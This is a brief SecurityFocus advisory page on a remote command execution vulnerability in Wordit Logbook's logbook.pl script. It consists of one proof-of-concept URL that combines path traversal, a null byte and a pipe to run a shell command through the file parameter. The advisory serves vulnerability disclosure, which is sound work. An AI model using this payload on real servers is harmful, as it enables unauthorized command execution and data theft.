info
discussion
exploit
solution
references
Wordit Logbook Logbook.pl Remote Command Execution Vulnerability
The following proof of concept was provided:
www.example.com/logbook.pl?file=../../../../../../../bin/cat%20logbook.pl%00|
Privacy Statement
Copyright 2010, SecurityFocus